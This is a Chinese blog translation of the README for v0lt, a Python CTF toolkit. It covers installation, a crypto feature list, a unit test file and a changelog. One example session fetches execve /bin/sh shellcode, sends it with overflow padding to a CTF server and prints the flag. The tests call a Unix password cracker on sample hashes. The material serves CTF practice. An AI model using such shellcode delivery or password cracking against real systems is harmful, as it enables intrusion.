0×00 v0lt

v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具。实践任务可能会采用bash脚本来解决,但我认为Python更具有灵活性,这也是我做出这一选择的原因。和丹麦CTF队伍Gallopsled开发的pwntools 没有关系,v0lt只是一个小型灵活但是却具有一些特别功能的工具包。

0×01 要求和安装

依赖关系:

  • Libmagic
  • Python3
  1. BeautifulSoup
  2. Requests
  3. filemagic
  4. hexdump
  5. passlib

安装:

1
2
3
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # 要求sudo执行是因为可能存在缺失的依赖关系

实例: Shellcodes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellHack(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)
     
...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...
     
Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"
     
>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}

实现功能:

加密

  • Base64
  • 凯撒移位
  • 哈希功能(SHA, MD5)
  • 位运算(XOR, 反向XOR)
  • 常用转换(bytes, strings, hex)
  • RSA基础模块 (逆模, 逆幂, 实现RSA共模攻击的egcd脚本…)
  • 暴力破解(基于字典, 自定义词)

Shellcodes

  • 从Jonathan Salwan的个人网站Shell-storm选定Shellcode并用repo工具下载
  • Shellcode格式
  • Shell{cat,net}: 轻松发送Shellcode
  • 自动填充

连接支持

  • Netcat
  • Telnet

更多可获得的实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import unittest
     
from v0lt import *
     
__author__ = 'P1kachu'
     
class Tests(unittest.TestCase):
    def test_netcat(self):
        nc = Netcat("archpichu.ddns.net", 65103)
        self.assertEqual(nc.read(), "\nNothing to display yet...\n")
     
    def test_telnet(self):
        tl = Telnet("archpichu.ddns.net", 65103)
        self.assertEqual(tl.read(), "\nNothing to display yet...\n")
     
    def test_stack(self):
        stack = Stack()
        self.assertEqual(stack.size(), 0)
        stack.push("item")
        self.assertEqual(stack.is_empty(), False)
        self.assertEqual(stack.size(), 1)
        item = stack.pop()
        self.assertEqual(stack.size(), 0)
        self.assertEqual(item, "item")
        self.assertEqual(stack.is_empty(), True)
     
    def test_basic_ceasar(self):
        plaintext = "This is a ceasar plaintext"
        encrypted = "GUVF VF N PRNFNE CYNVAGRKG"
        deciphered = basic_ceasar(plaintext, offset=13)
        self.assertEqual(encrypted, deciphered)
     
    def test_get_shellcode(self):
        sh = ShellHack(70, "/bin/lol")
            sh.get_shellcodes(sh.keywords)
        sh = ShellHack(70, "/bin/sh")
        sh.get_shellcodes(sh.keywords)
     
    def test_flag_gen(self):
        flags_gen("flags.tmp", "P1ka", 10)
     
    def test_find_nth(self):
        self.assertEqual(find_nth("lolilol", "l", 3), 6)
        self.assertEqual(find_nth("lolilol", "l", 4), -1)
     
    def brute(self):
        bf = Bruteforce(charset="abcd", final_length=5, begin_with="l", end_with="P")
        bf.generate_strings()
        bf = Bruteforce(charset="abcdef", final_length=12, begin_with="l", end_with="P")
        bf.generate_strings(output="bf.tmp")
     
    def test_hex(self):
        he = Hexeditor()
        he.dump_file("setup.py")
        he.save_file_as_hex("save.tmp")
        he.restore_file("test1.tmp")
        he.restore_file("test2.tmp", "save.tmp")
     
    def test_passwd_cracker(self):
        nix_basic_pass_cracker("HX9LLTdc/jiDE")
        nix_basic_pass_cracker("HX8LLTdc/jiDE")
        # nix_basic_pass_cracker("$1$khkWa1Nz$7YcmdOO1/uyHhMB7ga2L.1")
        # nix_basic_pass_cracker("$5$khkWa1Nz$583CsGZkoT82wh2ukf75KT4VVrf9ZO/P0FXLiPKgG//")
        # nix_basic_pass_cracker("$6$P1$XKg/SKZpe8Gbl5Utt3XVJEA4zJ6KB.IuZlShnP2FljfF32z3zoytnB.MaP9dJOObSOtiidHmeBp.feOqK4Mvg/")
     
if __name__ == "__main__":
    suite = unittest.defaultTestLoader.loadTestsFromTestCase(Tests)
    unittest.TextTestRunner().run(suite)

0×02 变更记录

只包括主要功能和变化。错误修正和次要的变化略。

1.3 版本

  • 再次做了许多修复
  • Hexeditor (转储/重写文件)
  • Unix密码暴力破解

1.2 版本

  • 修改/修复/修正了许多文档/bugs/框架
  • 增加了暴力破解模块
  • 增加了linux下一些实用工具
  • 增加了Hexeditor
  • Shellhack修复
  • 增加了警报信息

1.0 版本

  • 修改了许多文档
  • 修复了许多bugs
  • 增加了shellhack (shellcodes参照工具)
  • 增加了加密工具
  • 增加了网络方面工具
  • 固定了项目树

译者注:
项目作者:P1kachu
项目主页:https://github.com/P1kachu/v0lt

转载请注明来自4ido10n's Blog文章《v0lt CTF安全工具包》

v0lt CTF安全工具包的更多相关文章

  1. 网络安全学习和CTF必不可少的一些网站

    [转载备用] 原文地址  http://blog.csdn.net/ida0918/article/details/52730662 http://www.sec-wiki.com/skill/ 安全 ...

  2. 【转】个人总结-网络安全学习和CTF必不可少的一些网站

    转自:http://blog.csdn.net/ida0918/article/details/52730662 学习的地方很多,不能一一列举,一些优秀的网址和博客可能也没有提到,大家补充吧:P就简单 ...

  3. 网络安全与CTF在线学习资源网站

    http://www.sec-wiki.com/skill/ 安全技能(里面渗透逆向编程都有介绍) http://blog.knownsec.com/Knownsec_RD_Checklist/ 知道 ...

  4. 个人CTF资源聚合

    i春秋 幻泉 CTF入门课程笔记 视频地址 能力 思维能力 快速学习能力 技术能力 基础 编程基础 (c语言 汇编语言 脚本语言) 数学基础 (算法 密码学) 脑洞 (天马行空的想象推理) 体力耐力( ...

  5. CTF入门指南

    转自http://www.cnblogs.com/christychang/p/6032532.html ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: We ...

  6. CTF入门指南(0基础)

    ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: Web 密码学 pwn 程序的逻辑分析,漏洞利用windows.linux.小型机等 misc 杂项,隐写,数 ...

  7. CTF取证方法大汇总,建议收藏!

    站在巨人的肩头才会看见更远的世界,这是一篇来自技术牛人的神总结,运用多年实战经验总结的CTF取证方法,全面细致,通俗易懂,掌握了这个技能定会让你在CTF路上少走很多弯路,不看真的会后悔! 本篇文章大约 ...

  8. (笔记)CTF入门指南

    [考项分类] Web: 网页安全 Crypto: 密码学(凯撒密码等) PWN: 对程序逻辑分析 系统漏洞利用 Misc: 杂项 图片隐写 数据还原 脑洞类 信息安全有关的 Reverse: 逆向工程 ...

  9. CTF传送门

    https://www.zhihu.com/question/30505597详细见知乎 推荐书: A方向: RE for BeginnersIDA Pro权威指南揭秘家庭路由器0day漏洞挖掘技术自 ...

随机推荐

  1. UML类图

    类 类图分三层,第一层显示类的名称,如果是抽象类,那就用斜体显示.第二层是类的特性,通常就是字段和属性.第三类是类的操作,通常是方法或行为.注意前面的符号,‘ +’表示public ,‘-’表示 pr ...

  2. MySQL MHA配置常见问题

    MHA在MySQL数据库中被广泛使用,它小巧易用,功能强大,实现了基于MySQL replication架构的自手动主从故障转移,从库重定向到主库并自动同步.尽管如此,在部署配置的过程中,由于疏忽总难 ...

  3. linq 实现动态 orderby

    class Pet { public string Name{get;set;} public int Age{get;set;} } void Main() { Pet[] pets = { }, ...

  4. ISP接口隔离原则

    一.定义 不应该强迫客户程序依赖并未使用的方法 二.接口污染 接口污染,在C#.C++这样的静态类型语言中是很常见的.一个接口会被他不需要的方法污染.在接口中假如一个方法只是为了能给它的一个子类带来好 ...

  5. C#编程总结(九)字符编码

    C#编程总结(九)字符编码 相信大家一定遇到过乱码的问题,为什么会乱码呢?输出的数据怎么就跟输入的不一样呢? 最近在总结加密问题,也遇到了同样的困扰.所以今天来集中解决这个问题. 什么是字符? 字符是 ...

  6. 基于.Net Framework 4.0 Web API开发(4):ASP.NET Web APIs 基于令牌TOKEN验证的实现

    概述:  ASP.NET Web API 的好用使用过的都知道,没有复杂的配置文件,一个简单的ApiController加上需要的Action就能工作.但是在使用API的时候总会遇到跨域请求的问题, ...

  7. 在Win Server 2012中安装.NET Framework 3.5的问题

    在Windows Server 2012 上安装 SQL Server 2012 时,提示 启用 Windows 功能 NetFx3 时出错,错误代码:-2146498298.请尝试从 Windows ...

  8. MySQL: Tree-Hierarchical query

             http://dba.stackexchange.com/questions/30021/mysql-tree-hierarchical-query     No problem. ...

  9. Mybatis添加返回主键ID

    1.对应xml文件<insert id="insert" parameterType="DetectStandard"useGeneratedKeys=& ...

  10. 七个结构模式之享元模式(Flyweight Pattern)

    定义: 运用共享技术对大量细粒度对象的复用,这要求这些对象都很相似,状态变化很小.将这些对象的内部状态和外部状态进行区分,对于内部状态相同的只存储一个对象,而对不同的外部状态则采用不同的操作. 结构图 ...